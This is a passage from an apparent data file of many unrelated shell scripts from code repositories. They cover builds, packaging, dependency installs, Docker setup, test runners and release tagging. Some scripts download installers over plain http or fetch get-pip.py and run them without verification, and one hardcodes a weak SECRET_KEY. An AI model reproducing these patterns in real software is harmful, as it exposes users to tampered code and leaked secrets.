marker/paper)\nWEBF_EXCL=$(cat marker/web)\nRESUME=resume\n\n# create regular version\ncat markdown/base_resume.md | grep -ve \"$PAPR_EXCL\" > markdown/resume.md\n# create short version\ncat markdown/base_resume.md | grep -ve \"$LONG_EXCL\\|$PAPR_EXCL\" > markdown/resume-short.md\n# create printable version\ncat markdown/base_resume.md | grep -ve \"$LONG_EXCL\\|$WEBF_EXCL\" > markdown/resume-paper.md\n\n# remove all markers in resumes\nsed -i \"s/${LONG_EXCL}\\|${PAPR_EXCL}\\|${WEBF_EXCL}//\" markdown/resume{,-short,-paper}.md\n# remove all links in the paper resume (but let the text live if there is a space, meaning if it is a sentence)\nsed -iE \"s/\\[\\([^\\[]\\+\\)\\]([a-zA-Z0-9\\*\\/\\._:~-]\\+)/\\1/g\" markdown/resume-paper.md"} {"text": "_openapi/openapi-gen.sh\n# openapi-gen\ngo install ./$(dirname \"${0}\")/cmd/openapi-gen\nif [ \"${GENS}\" = \"all\" ] || grep -qw \"openapi\" <<<\"${GENS}\"; then\n echo \"Generating openapi spec for ${GROUPS_WITH_VERSIONS} at ${OUTPUT_PKG}/openapi\"\n\n ${GOPATH}/bin/openapi-gen \\\n --input-dirs $(codegen::join , \"${FQ_APIS[@]}\") \\\n --output-package ${OUTPUT_PKG}/openapi \\\n \"$@\"\nfi"} {"text": "# shell/php.sh\n#\n# @file Configuration of the PHP environment.\n\nexport COMPOSER_HOME=\"${XDG_CONFIG_HOME}/composer\"\nexport COMPOSER_CACHE_DIR=\"${XDG_CACHE_HOME}/composer\""} {"text": "uwase-diane/min_pitch\nexport SECRET_KEY=12345\n\nexport MAIL_USERNAME=\nexport MAIL_PASSWORD=\n\npython3.6 manage.py server"} {"text": "XenitAB/ansible-docker-registry-deploy\n#!/bin/bash\n\n#\n# https://github.com/ziozzang/python-on-coreos\n#\n\n# Get Version\nVERSION_STR=`wget http://downloads.activestate.com/ActivePython/releases/ -q -O - | grep \"folder.gif\" | head -n 1 | sed -n 's/.*href=\"\\([^\"]*\\).*$/\\1/p'`\n\nVERSIONS=${VERSIONS:-\"${VERSION_STR}\"}\n\n# make directory\nmkdir -p /opt/bin\ncd /opt\n\n# Get File Name from sites\nFNAME=`wget http://downloads.activestate.com/ActivePython/releases/${VERSIONS}/ -q -O - | grep \"linux\" | grep \"tar.gz\" | head -n 1 | sed -n 's/.*href=\"\\([^\"]*\\).*$/\\1/p'`\n\n# Get Download.\nwget http://downloads.activestate.com/ActivePython/releases/${VERSIONS}/${FNAME}\ntar -xzvf ${FNAME}\n\n# Rename\nmv `find ./ActivePython-* -type d | head -n 1` apy && cd apy && ./install.sh -I /opt/python/\n\nrm -rf /opt/ActivePython-*\nrm -rf /opt/apy\n\nln -s /opt/python/bin/easy_install /opt/bin/easy_install\nln -s /opt/python/bin/pip /opt/bin/pip\nln -s /opt/python/bin/python /opt/bin/python\nln -s /opt/python/bin/virtualenv /opt/bin/virtualenv\n\ntouch /opt/bin/.bootstrapped"} {"text": "0\n#!/bin/bash\n\n# Set vips version\nexport VIPS_VERSION=8.4.5\nexport WEBP_VERSION=0.6.0\nexport GIF_VERSION=5.1.4\n\nexport BUILD_PATH=/tmp\nexport OUT_PATH=$OUT_DIR/app/vendor/vips\nexport PKG_CONFIG_PATH=$OUT_PATH/lib/pkgconfig:$PKG_CONFIG_PATH\nexport PATH=$OUT_PATH/bin:$PATH\n\n# Based on https://gist.github.com/chrismdp/6c6b6c825b07f680e710\nfunction putS3 {\n file=$1\n aws_path=$2\n aws_id=$3\n aws_token=$4\n aws_bucket=$5\n date=$(date +\"%a, %d %b %Y %T %z\")\n acl=\"x-amz-acl:public-read\"\n content_type='application/x-compressed-tar'\n string=\"PUT\\n\\n$content_type\\n$date\\n$acl\\n/$aws_bucket$aws_path$file\"\n signature=$(echo -en \"${string}\" | openssl sha1 -hmac \"${aws_token}\" -binary | base64)\n curl -X PUT -T \"$file\" \\\n -H \"Host: $aws_bucket.s3.amazonaws.com\" \\\n -H \"Date: $date\" \\\n -H \"Content-Type: $content_type\" \\\n -H \"$acl\" \\\n -H \"Authorization: AWS ${aws_id}:$signature\" \\\n \"https://$aws_bucket.s3.amazonaws.com$aws_path$file\"\n echo \"Uploaded to https://$aws_bucket.s3.amazonaws.com$aws_path$file\"\n}\n\n# These should be set from the outside. A git version and heroku/travis respectively\nif [ -z \"$VERSION\" ]\nthen\n VERSION=\"unknown\"\nfi\nif [ -z \"$TARGET\" ]\nthen\n TARGET=\"unknown\"\nfi\n\n# Remove out path if already exists\nrm -Rf $OUT_PATH\n\n# Build path\ncd $BUILD_PATH\n\n###############\n# WebP #\n###############\nfunction build_webp {\n # Download webp dependency\n curl https://storage.googleapis.com/downloads.webmproject.org/releases/webp/libwebp-$WEBP_VERSION.tar.gz -o libwebp.tar.gz\n # Unzip\n tar -xf libwebp.tar.gz\n # Get into webp folder\n cd libwebp-$WEBP_VERSION\n # Configure build\n ./configure --prefix $OUT_PATH\n # Make libwebp\n make\n # Install webp\n make install\n}\n\n###############\n# CFITSIO #\n###############\nfunction build_cftsio {\n # Download CFITSIO dependency\n curl -L ftp://heasarc.gsfc.nasa.gov/software/fitsio/c/cfitsio3370.tar.gz -o cfitsio.tar.gz\n # Unzip\n tar -xf cfitsio.tar.gz\n # Get into CFITSIO folder\n cd cfitsio\n # Configure build\n ./configure --prefix $OUT_PATH\n # Make cfitsio\n make\n # Install cfitsio\n make install\n}\n\n###############\n# GIF #\n###############\nfunction build_gif {\n curl -L http://downloads.sourceforge.net/project/giflib/giflib-${GIF_VERSION}.tar.gz -o giflib.tar.gz\n tar -xf giflib.tar.gz\n cd giflib-$GIF_VERSION\n ./configure --prefix $OUT_PATH --enable-shared --disable-static \\\n --disable-dependency-tracking\n make\n make install\n}\n\n###############\n# VIPS #\n###############\nfunction build_vips {\n # Download vips runtime\n curl http://www.vips.ecs.soton.ac.uk/supported/current/vips-$VIPS_VERSION.tar.gz -o vips.tar.gz\n # Unzip\n tar -xf vips.tar.gz\n # Get into vips folder\n cd vips-$VIPS_VERSION\n # Configure build and output everything in /tmp/vips\n ./configure --prefix $OUT_PATH --enable-shared --disable-static --disable-dependency-tracking \\\n --disable-debug --disable-introspection --without-python --without-fftw \\\n --without-magick --without-pangoft2 --without-ppm --without-analyze --without-radiance \\\n --with-giflib-includes=$OUT_PATH/include \\\n --with-giflib-libraries=$OUT_PATH/lib\n # Make\n make\n # install vips\n make install\n}\n\n### Build\ncd $BUILD_PATH\nbuild_webp\ncd $BUILD_PATH\nbuild_cftsio\ncd $BUILD_PATH\nbuild_gif\ncd $BUILD_PATH\nbuild_vips\n\n###############\n# Output #\n###############\n\n# Get into output path\ncd $OUT_PATH\n# Clean useless files\nrm -rf $OUT_PATH/share/{doc,gtk-doc}\n# Create dist package\ntar -cvzf libvips-${VERSION}-${TARGET}.tgz *\n\n###############\n# S3 #\n###############\nif [ -z \"$AMAZON_API_TOKEN\" ];\nthen\n echo \"Amazon API Token not provided, skipping upload\";\nelse\n putS3 \"libvips-${VERSION}-${TARGET}.tgz\" \"/bundles/\" $AMAZON_API_ID $AMAZON_API_TOKEN $AMAZON_API_BUCKET\nfi"} {"text": "cloc ../../../nodes_src/teku-22.1.0 > teku_cloc.txtB"} {"text": "#!/bin/sh\n#\n# Script buid building and packaging the Hyperloop iOS package\n#\nCWD=`pwd`\nCURVERSION=`grep \"^version:\" manifest`\nVERSION=`grep \"^version:\" manifest | cut -c 10-`\nMETABASE_VERSION=`grep \"\\\"version\\\":\" ../packages/hyperloop-ios-metabase/package.json | cut -d \\\" -f 4`\nexport TITANIUM_SDK=\"`node ../tools/tiver.js`\"\n\necho \"Titanium SDK version: \"\necho $TITANIUM_SDK\n\nXC=`which xcpretty`\nCHECK=\"✓ \"\n\nif [ $? -eq 1 ];\nthen\n\tgem install xcpretty\nfi\n\nrm -rf build\n\n# Inject the TITANIUM_SDK value into titanium.xcconfig explicitly, just exporting the value doesn't override it, it seems\nsed -i.bak 's@TITANIUM_SDK = .*@TITANIUM_SDK = '\"$TITANIUM_SDK\"'@g' ./titanium.xcconfig\n\nif [ \"${CI}\" = \"1\" ];\nthen\n\techo \"Testing ...\"\n\txcodebuild clean >/dev/null\n\txcodebuild -sdk iphonesimulator -destination 'platform=iOS Simulator,name=iPhone 12' -scheme hyperloop -target Tests -configuration Debug GCC_PREPROCESSOR_DEFINITIONS='USE_JSCORE_FRAMEWORK=1' test | xcpretty -r junit\n\tif [ $? -ne 0 ];\n\tthen\n\t\texit $?\n\tfi\nfi\n\n# Build the native module\necho \"\\nBuilding module ...\"\nmkdir -p build/zip\nti build -p ios --build-only\ncd dist\nunzip hyperloop-iphone-$VERSION.zip -d ../build/zip\ncd ..\n\n# Package the metabase into the .zip\necho \"Packaging iOS metabase...\"\ncd ../packages/hyperloop-ios-metabase\nrm *.tgz\nnpm pack >/dev/null 2>&1\ncd $CWD\n\n# Install dependencies\necho \"Installing npm dependencies...\"\ncd build/zip/modules/iphone/hyperloop/$VERSION/hooks\nnpm i --production\nnpm i $CWD/../packages/hyperloop-ios-metabase/hyperloop-metabase-$METABASE_VERSION.tgz\nrm -rf node_modules/findit/test\nrm -rf package-lock.json\ncd $CWD\n\ncd $CWD/build/zip\nrm -rf $CWD/hyperloop-iphone-$VERSION.zip\nzip -q -r $CWD/hyperloop-iphone-$VERSION.zip * --exclude=*test* --exclude=*.DS_Store* --exclude=*.git* --exclude *.travis.yml* --exclude *.gitignore* --exclude *.npmignore* --exclude *CHANGELOG* --exclude *.jshintrc*\n\nunset TITANIUM_SDK\n\necho \"$CHECK Done packaging iOS module!\\n\"\nexit 0"} {"text": "flazzarotto/provisions\n#!/bin/bash\n\n#/**\n# * build-essentials\n# *\n# * @category system\n# */\n\nBASEDIR=$(dirname \"${0}\")\n. ${BASEDIR}/../tools/colors.sh\n\necho_info 'sudo apt-get -y install autoconf'\nsudo apt-get -y install autoconf\n\necho_info 'sudo apt-get -y install build-essential'\nsudo apt-get -y install build-essential\n\necho_info 'sudo apt-get -y install libssl-dev'\nsudo apt-get -y install libssl-dev\n\necho_info 'sudo apt-get -y install libxml2-dev'\nsudo apt-get -y install libxml2-dev\n\necho_info 'sudo apt-get -y install libxslt-dev'\nsudo apt-get -y install libxslt-dev\n\necho_info 'sudo apt-get -y install ruby-dev'\nsudo apt-get -y install ruby-dev"} {"text": "#!/usr/bin/env bash\nset -e\n\nsource \"script/lib/vendor.sh\"\n\nOWNER=\"STNS\"\nREPO=\"STNS\"\nIMPORTPATH=\"github.com/${OWNER}/${REPO}/v2\"\nTAG=\"v2.2.10\"\nSUBDIRECTORY=\"v2\"\n\nif [ -z \"$BUILD_WORKSPACE_DIRECTORY\" ]; then\n echo \"Please execute via bazel\"\n echo \"bazel run //script:vendor_stns\"\n exit 1\nfi\ncd \"$BUILD_WORKSPACE_DIRECTORY\"\n\nTHIRD_PARTY_DIR=\"${BUILD_WORKSPACE_DIRECTORY}/third_party\"\nTARGET_DIR=\"${THIRD_PARTY_DIR}/${OWNER}/${REPO}\"\n\nif [ -d \"${TARGET_DIR}\" ]; then\n rm -rf \"${TARGET_DIR}\"\nfi\n\ndownload_release_from_github \"${TARGET_DIR}\" \"${OWNER}\" \"${REPO}\" \"${TAG}\" \"${SUBDIRECTORY}\"\n\nremove_unnecessary_files \"${TARGET_DIR}\"\nrm -rf \"${TARGET_DIR}/docs\"\nrm -rf \"${TARGET_DIR}/modules\"\n\ngenerate_build_file \"${TARGET_DIR}\" \"${IMPORTPATH}\""} {"text": "openshift_performance/ose3_perf/scripts/ose-docker-storage.sh\n#!/usr/bin/env bash\n# default docker storage backed when used with openshift will be loop-lvm what is not optimal\n# this script accepts vg or device you want to use for custom vg/device for docker storage setup\"\n# it will write /etc/sysconfig/docker-storage-setup and that configuration will be then used by docker-storage-setup script\n# Author : \n# License : GPL{2|3}\n\nusage() {\n printf \"Usage: $(basename $0) -s|--storage -d -v \\n\"\n printf \"Case 1: custom vg : $(basename $0) -s|--storage -v \\n\"\n printf \"Case 2: custom device : $(basename $0) -s|--storage -d \\n\"\n printf \"Case 3: leave to default - if there is free space on root vg - thin lvm will be created using free space on root vg,otherwise loop lvm will be used\\n\"\n printf \"Case 3: default: $(basename $0) -s|--storage -n|--none \\n\"\n exit 0\n}\n\nif [ \"$#\" -eq 0 ] || [ \"$EUID\" -ne 0 ]; then\n printf \"Check options, also you have to be root to run this script\\n\"\n usage\n exit 1\nfi\n\nopts=$(getopt -q -o s:d:v:h --longoptions \"storage:,device:,vgroup:,none,help\" -n \"getopt.sh\" -- \"$@\");\neval set -- \"$opts\";\necho \"processing options\"\nwhile true; do\n case \"$1\" in\n -s|--storage)\n shift;\n if [ -n \"$1\" ]; then\n storage=\"$1\"\n\t\t shift;\n fi\n ;;\n -d|--device)\n shift;\n if [ -n \"$1\" ]; then\n device=\"$1\"\n shift;\n fi\n ;;\n -v|--vgroup)\n shift;\n if [ -n \"$1\" ]; then\n vgroup=\"$1\"\n shift;\n fi\n ;;\n -h|--help)\n shift;\n if [ -n \"$1\" ]; then\n help=\"$1\"\n usage\n fi\n ;;\n --)\n shift;\n printf \"Check options\\n\"\n break;\n ;;\n *)\n shift;\n break;\n ;;\n esac\ndone\n\ncase \"$storage\" in\n d|device)\ncat < /etc/sysconfig/docker-storage-setup\nDEVS=/dev/$device\nVG=docker_vg_$device \nEOF\n printf \"We will use custom volume group docker_vg_$device which will use custom block device $device\\n\"\n printf \"If volume group is not created -- ensure $device has not fs signatures / partitions and rerun script\\n\"\n ;;\n v|vgroup)\n printf \"You selected option to create docker storage on volume group $vgroup - ensure it exist on system\\n\"\ncat < /etc/sysconfig/docker-storage-setup\nVG=$vgroup\nEOF\n ;;\n n|none)\n printf \"default - loop lvm will be used - if there is free space on root VG, it will be used to crate thin lvm\\n\"\n printf \"This is not production supported\\n\"\ncat < /etc/sysconfig/docker-storage-setup\n#This is default configuration/usr/lib/docker-storage-setup/docker-storage-setup.\n# check /usr/lib/docker-storage-setup/docker-storage-setup for example configuration\n# For more details refer to \"man docker-storage-setup\"\nEOF\n ;;\nesac"} {"text": "cauliflower-cflr/cauliflower\n#! /usr/bin/env bash\n\n#-------------------------------------------------------------------------#\n# run_cclyser.sh #\n# #\n# Author: . #\n# Date: 2016-Mar-05 #\n# #\n# Run the uninitialised variable experiments #\n#-------------------------------------------------------------------------#\n\nset -u\n\n#\n# Define some useful vars\n#\n. $(dirname $0)/exp_common.sh\n\n#\n# Run the analysis \n#\nfor DIR in $CCLYS_DIR/*_rels; do\n BMK=`sed 's/^.*\\/\\([^\\/]*\\).bc_rels.*$/\\1/' <<< $DIR`\n echo $BMK\n $CCLYS_DIR/$CCLYS_NAME $DIR 2>>`tempo $BMK.ccl`\ndone"} {"text": "language/src/installdepmac.sh\nbrew install -k git gcc unixodbc mysql-connector-c allegro openssl qt@5 glew libuv libpq sdl2 sdl2_image sdl2_mixer sdl2_net sdl2_ttf httpd\nbrew link --force qt@5"} {"text": "#!/usr/bin/env bash\n\nset -e\n\nif [ -z \"$PROJECT\" -o -z \"$VERSION\" -o -z \"$ROOT\" ]; then\n echo 'Missing environment variables!'\n exit 1\nfi\n\nif [ ! -d './build' ]; then\n echo \"Build directory does not exists. Please run 'make build' first.\"\n exit 1\nfi\n\n\necho '> Cleaning up...'\ncd \"$ROOT\"\nrm -rf dist && mkdir dist\n\necho\necho '> Packaging...'\nfor build in $(ls ./build); do\n tar -czf ./dist/$PROJECT-$VERSION.$build.tar.gz -C ./build/$build $(ls ./build/$build)\n echo \"- $build finished\"\ndone\n\necho\necho '> Signing...'\nfor dist in $(ls ./dist); do\n name=${dist%.tar.gz}\n cd \"$ROOT/dist\"\n shasum -a 256 \"$name.tar.gz\" > \"$name.sha256\"\n md5sum \"$name.tar.gz\" > \"$name.md5\"\n echo \"- $name finished\"\ndone"} {"text": "#!/usr/bin/env bash\n\n# This script builds the 'datawave-quickstart' Docker image and tags it with the user-specified arg.\n\n# The context for the build is the entire DataWave source tree, DATAWAVE_SOURCE_DIR, including any pre-built /\n# pre-downloaded binaries that exist under DATAWAVE_SOURCE_DIR/contrib/datawave-quickstart/\n\n# See .dockerignore for exclusions and exceptions\n\nfunction help() {\n echo\n echo \" $( printGreen \"Usage:\" ) ./$( basename ${BASH_SOURCE[0]} ) $( printGreen \"\" ) [ $( printGreen \"--use-existing-binaries\" ) ]\"\n echo\n echo \" E.g., ./$( basename ${BASH_SOURCE[0]} ) 1.0.0-SNAPSHOT\"\n echo \" E.g., ./$( basename ${BASH_SOURCE[0]} ) 1.0.0-SNAPSHOT --use-existing-binaries\"\n echo\n echo \" By default, this script will force a fresh build of DataWave's ingest and web tarballs to ensure\"\n echo \" that they're properly configured for container deployment...that is, configured for deployment to\"\n echo \" the Docker image's $( printGreen \"/opt/datawave\" ) directory\"\n echo\n echo \" The optional $( printGreen \"--use-existing-binaries\" ) flag can be used as a time saver to skip the DataWave build if\"\n echo \" both binaries already exist, but it should only be used under the following circumstances:\"\n echo\n echo \" $( printGreen \"1)\" ) Your current $( printGreen \"DATAWAVE_SOURCE_DIR\" ) happens to be $( printGreen \"/opt/datawave\" ) already, in which case the\"\n echo \" existing binaries from your datawave-quickstart deployment are properly configured by default.\"\n echo \" $( printGreen \"Hint:\" ) your current $( printGreen \"DATAWAVE_SOURCE_DIR\" ) = $( printGreen \"${DATAWAVE_SOURCE_DIR}\" )\"\n echo \" OR...\"\n echo\n echo \" $( printGreen \"2)\" ) This script has just run and the forced DataWave build succeeded, but the subsequent docker\"\n echo \" build failed. Since this script sets $( printGreen \"DW_ROOT_DIRECTORY_OVERRIDE\" ) = $( printGreen \"/opt/datawave\" ) in the environment\"\n echo \" prior to the build, you may assume that the resulting binaries are still valid\"\n echo\n}\n\n# DATAWAVE_SOURCE_DIR will be used as the build context\n\nTHIS_DIR=\"$( cd \"$( dirname \"${BASH_SOURCE[0]}\" )\" && pwd )\"\nQUICKSTART_DIR=\"$( dirname \"${THIS_DIR}\" )\"\nDATAWAVE_SOURCE_DIR=\"$( cd ${QUICKSTART_DIR}/../../ && pwd )\"\n\nDW_DATAWAVE_BUILD_PROFILE=${DW_DATAWAVE_BUILD_PROFILE:-dev}\n\nsource \"${QUICKSTART_DIR}/bin/logging.sh\"\n\nfunction validateArgs() {\n [[ \"$1\" == \"-h\" || \"$1\" == \"--help\" ]] && help && exit 0\n [ -z \"$1\" ] && error \"Tag name is required\" && help && exit 1\n [ \"$1\" == \"--use-existing-binaries\" ] && error \"First argument must be the tag name\" && help && exit 1\n [ \"$2\" == \"--use-existing-binaries\" ] && USE_EXISTING_BINARIES=true\n\n IMAGE_NAME=\"datawave-quickstart:$1\"\n}\n\nfunction removeDatawaveTarball() {\n local tarballPath=\"$( find \"${QUICKSTART_DIR}/bin/services/datawave\" -path \"${1}\" -type f )\"\n [ -n \"${tarballPath}\" ] && rm -f \"${tarballPath}\" && info \"Removed binary: ${tarballPath}\"\n\n}\n\nfunction cleanBuildContext() {\n info \"Cleaning up\"\n unlink ${DATAWAVE_SOURCE_DIR}/.dockerignore > /dev/null 2>&1 && info \".dockerignore symlink removed\"\n\n # Remove any potentially stale DataWave tarballs from the DW service directory. Removal\n # will guarantee that a fresh Maven build is triggered whenever env.sh is sourced\n\n if [[ \"${USE_EXISTING_BINARIES}\" != true ]] ; then\n removeDatawaveTarball \"*/datawave-${DW_DATAWAVE_BUILD_PROFILE}-*-dist.tar.gz\"\n removeDatawaveTarball \"*/datawave-ws-deploy-application-*-${DW_DATAWAVE_BUILD_PROFILE}.tar.gz\"\n else\n info \"Retaining any existing DataWave binaries\"\n fi\n}\n\nfunction overrideBuildProperties() {\n\n # Before we force a fresh DW build, set overrides for the current root directory and JAVA_HOME\n # within dev.properties, to ensure deployment is properly configured for the Docker image.\n\n # See services/datawave/bootstrap.sh, setBuildPropertyOverrides function\n\n export DW_ROOT_DIRECTORY_OVERRIDE=/opt/datawave\n export DW_JAVA_HOME_OVERRIDE=${DW_ROOT_DIRECTORY_OVERRIDE}/contrib/datawave-quickstart/java\n\n}\n\nfunction prepareBuildContext() {\n\n info \"Preparing context for ${IMAGE_NAME}\"\n\n cleanBuildContext\n\n overrideBuildProperties\n\n # Source env.sh to force all tarballs to be downloaded and the DW binaries to be built, if necessary\n\n source \"${QUICKSTART_DIR}/bin/env.sh\"\n\n datawaveBuildSucceeded || fatal \"Most recent DataWave build failed. Cannot proceed with Docker build!\"\n\n # Set temporary .dockerignore symlink in DATAWAVE_SOURCE_DIR for context exclusions...\n\n ln -s \"${THIS_DIR}/.dockerignore\" \"${DATAWAVE_SOURCE_DIR}/.dockerignore\" || fatal \"Failed to set .dockerignore symlink\"\n}\n\nfunction buildDockerImage() {\n\n info \"Building Docker image: ${IMAGE_NAME}\"\n\n docker build --squash --rm -f ${THIS_DIR}/Dockerfile -t ${IMAGE_NAME} \\\n --build-arg DATAWAVE_COMMIT_ID=$( git rev-parse --verify HEAD ) \\\n --build-arg DATAWAVE_BRANCH_NAME=$( git rev-parse --abbrev-ref HEAD ) \\\n ${DATAWAVE_SOURCE_DIR} || fatal \"Docker image creation for DataWave Quickstart failed\"\n\n}\n\nvalidateArgs \"$1\" \"$2\"\n\nprepareBuildContext\n\nbuildDockerImage\n\ncleanBuildContext\n\nexit 0"} {"text": "limix/travis-tools0\n#!/bin/bash\nset -e\n\n# brew update > /dev/null\n\nif [ \"$LIBFFI\" = true ]; then\n brew install libffi > /dev/null\nfi\n\nif [ \"$HDF5\" = true ]; then\n brew install homebrew/science/hdf5 > /dev/null\nfi\n\nrm -rf ~/.pyenv || true\ngit clone --depth 1 https://github.com/yyuu/pyenv.git ~/.pyenv\n\nPYENV_ROOT=\"$HOME/.pyenv\"\nPATH=\"$PYENV_ROOT/bin:$PATH\"\neval \"$(pyenv init -)\"\n\ncase \"${PYENV}\" in\n py27)\n getbin=\"$HOME/.download/get-pip.py\"\n if [ ! -f \"$getbin\" ]; then\n curl -o \"$getbin\" https://bootstrap.pypa.io/get-pip.py\n python \"$getbin\" --user\n fi\n ;;\n py36)\n pyenv install 3.6.2\n pyenv global 3.6.2\n ;;\nesac\npyenv rehash\npython -m pip install --user virtualenv\n\npython -m virtualenv ~/.venv\nsource ~/.venv/bin/activate\n\nmkdir -p ~/.matplotlib\necho \"backend: TkAgg\" > ~/.matplotlib/matplotlibrc"} {"text": "examples/check_bt.sh\n# Copyright 2019 Google LLC\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# https://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n#!/bin/bash\n\n# Useful BT prefix:\n\n# \"d/f/country/AUT^count^measured^^^Person^gender^Male\"\n# \"d/f/country/AUT^count^measured^Count_Person_25To64Years^^Person^age^Years25To64^educationalAttainment^LessThanPrimaryEducation&PrimaryEducation&LowerSecondaryEducation\"\n\nexport BT=$(head -1 ../deployment/bigtable.txt)\nexport PROJECT=google.com:datcom-store-dev\necho \"$BT\"\necho \"$PROJECT\"\n\n# Check get_stats cache\ncbt -project=\"$PROJECT\" -instance prophet-cache read \"${BT}\" prefix=$1"} {"text": "0\n#! /bin/bash\n\nasciidoctor assts/*.adoc notes/*.adoc labs/*.adoc *.adoc\ngit add .\ngit status\ngit commit -m \"update website\"\ngit push"} {"text": "K-do/RES_Lab03_SMTP0\n#!/bin/bash\n\n# run the container in background corresponding to the mockmock image\n# ports are mapped the same\ndocker run -d -p 2525:2525 -p 8282:8282 mockmockserver"} {"text": "bhoogter/php_hookrelease.sh\n#!/bin/bash\nset -e -x\n\n#git pull -r\n\n# setup vars\nDEV_VER=\"$(cat VERSION)\"\nver=\"$(cat VERSION | sed -e 's/-dev$//')\"\nMAJOR=$(echo \"${ver}\" | sed -e 's/\\.[0-9]*\\.[0-9]*$//')\nMINOR=$(echo \"${ver}\" | sed -e 's/^[0-9]*\\.//' | sed -e 's/\\.[0-9]*$//')\nPATCH=$(echo \"${ver}\" | sed -e 's/^[0-9]*.[0-9]*.//')\n\n# Tag a release\ntagRelease() {\n TAG=$1\n\n echo \"Releasing version: ${TAG}\"\n git commit -am \"Version $TAG\"\n git tag \"$TAG\"\n git push origin \"$TAG\"\n}\n\nremoveTag() {\n TAG=$1\n set +e\n git tag -d $TAG\n git push origin --delete $TAG\n set -e\n}\n\nreleaseNewVersion() {\n # Remove '-dev' from the version file to prepare for release.\n if [[ \"$ver\" != \"$DEV_VER\" ]]; then\n echo $ver > VERSION.tmp\n mv -f VERSION.tmp VERSION\n fi\n\n tagRelease $ver\n\n NEW_PATCH=$(( $PATCH + 1 ))\n NEW_VERSION=\"$MAJOR.$MINOR.$NEW_PATCH-dev\"\n echo \"Setting new version: ${NEW_VERSION}\"\n echo \"$NEW_VERSION\" > VERSION\n\n git add VERSION\n git commit -m \"Back to -dev: $NEW_VERSION\"\n git push origin master\n}\n\nrollbackVersion() {\n OLD_PATCH=$(( $PATCH - 1 ))\n OLD_VERSION=\"$MAJOR.$MINOR.$OLD_PATCH\"\n OLD_DEV=\"$MAJOR.$MINOR.$OLD_PATCH-dev\"\n\n removeTag \"$OLD_VERSION\"\n\n echo $OLD_DEV > VERSION.tmp\n mv -f VERSION.tmp VERSION\n}\n\n\n## Begin Script\n\nwhile getopts \"RS\" opt; do\n case $opt in\n R|S) REPEAT=1 ;;\n \\?)\n echo \"Invalid option: -$OPTARG\" >&2\n exit 2\n ;;\n esac\ndone\nshift $((OPTIND - 1))\n\nif [[ \"$REPEAT\" != \"\" ]]; then \n rollbackVersion\n \n DEV_VER=\"$(cat VERSION)\"\n ver=\"$(cat VERSION | sed -e 's/-dev$//')\"\n MAJOR=$(echo \"${ver}\" | sed -e 's/\\.[0-9]*\\.[0-9]*$//')\n MINOR=$(echo \"${ver}\" | sed -e 's/^[0-9]*\\.//' | sed -e 's/\\.[0-9]*$//')\n PATCH=$(echo \"${ver}\" | sed -e 's/^[0-9]*.[0-9]*.//')\nfi\n\nreleaseNewVersion"} {"text": "###\n#\n# Generate a Certificate Signing Requesti\n# (CSR).\n#\n# Once we generate this, then we can \n# give the CSR to a CA which will\n# use it to sign an SSL certficate.\n#\n###\n\nkeytool -certreq -file terracotta.csr \\\n -alias terracotta \\\n -keystore terracotta.jks"} {"text": "BrandonOCasey/.dotfiles\n#! /bin/sh\n# Run all of the unit tests, and make sure the assert/stub environment is ready to go\n\n\nbin_dir=\"$( cd \"$( dirname \"$0\" )\" && pwd )\"\ntest_dir=\"$( cd \"$( dirname \"$bin_dir\" )\" && pwd )\"\ndot_dir=\"$( cd \"$( dirname \"$test_dir\" )\" && pwd )\"\nif [ ! -f \"$bin_dir\"/assert.sh ]; then\n echo \"Error assert.sh must be in $bin_dir see test dependancies\"\n exit\nfi\n\nif [ ! -f \"$bin_dir\"/stub.sh ]; then\n echo \"Error stub.sh must be in $bin_dir see test dependancies\"\n exit\nfi\n\nsource \"$bin_dir\"/assert.sh\nsource \"$bin_dir\"/stub.sh\n\necho\nfor FILE in $(find \"$test_dir\" -not -path '../bin' -name '*.t'); do\n file_path=\"$(echo \"$FILE\" | sed -e \"s~$test_dir/~~\")\"\n echo \"*** Running Test $file_path ***\"\n (source \"$FILE\"; assert_end \"$file_path\")\n echo\ndone"} {"text": "#!/bin/sh\n# \n\nSCRIPT_DIRECTORY=`dirname $0`\n\ngit log --reverse --format='%aN <%aE>' | perl -we '\n\nBEGIN {\n %seen = (), @authors = ();\n}\n\nwhile (<>) {\n next if $seen{$_};\n next if /\\/;\n next if /<>/;\n $seen{$_} = push @authors, $_;\n}\n\nEND {\n print \"# Authors ordered by first contribution.\\n\";\n print \"\\n\", @authors, \"\\n\";\n print \"# Generated by scripts/update-authors.sh\\n\";\n}\n\n' > \"$SCRIPT_DIRECTORY/../AUTHORS\""} {"text": "#!/bin/bash\necho $SHELL\necho $0\n\nfunction getJsonVal () { \n python -c \"import json,sys;sys.stdout.write(json.dumps(json.load(sys.stdin)$1))\"; \n}\n\n_base=`cat ../config/config.json | getJsonVal \"['path']['archive']\" | tr -d '\"' `\n_eShelPipe=`cat ../config/config.json | getJsonVal \"['path']['eShelPipeFastWork']\" | tr -d '\"' `\n\n\n_now=$(date +%Y_%m_%d_%H_%M_%S)\n_log_file=\"$_base/log/in.processed.$_now.log\"\n_err_file=\"$_base/log/in.processed.$_now.err\"\n_source_dir=\"$_eShelPipe/processed/\"\n\necho \"robot integration fichiers traite\" \necho \"source dir: $_source_dir\"\necho \"save log in $_log_file\"\necho \"save err in $_err_file\"\n\npython3 ../base/in-processed.py $_source_dir delete > $_log_file 2> $_err_file"} {"text": "TestFramework/instrument.sh\n#!/bin/bash\n\n# this is left as an example \nfunction compile() {\n\n # source_files is the variable with all the files we're gonna compile\n\n for file_name in \"${source_files[@]}\"; do\n base_name=$(basename $file_name .c) ;\n btc_name=\"$base_name.bc\" ;\n rbc_name=\"$base_name.rbc\" ;\n # Convert the target program to LLVM IR:\n $LLVM_PATH/$COMPILER $CXXFLAGS -g -c -emit-llvm $file_name -o $btc_name ;\n # Convert the target IR program to SSA form:\n $LLVM_PATH/opt $btc_name -o $rbc_name ;\n\n # You can add llvm pass in the command above:\n # $LLVM_PATH/opt -mem2reg -instnamer -load DCC888.$suffix -vssa $btc_name -o $rbc_name ;\n done\n\n #Generate all the bcs into a big bc:\n $LLVM_PATH/llvm-link *.rbc -o $lnk_name ;\n\n # Insert instrumentation in the program:\n $LLVM_PATH/opt -debug-only=StoreTagger 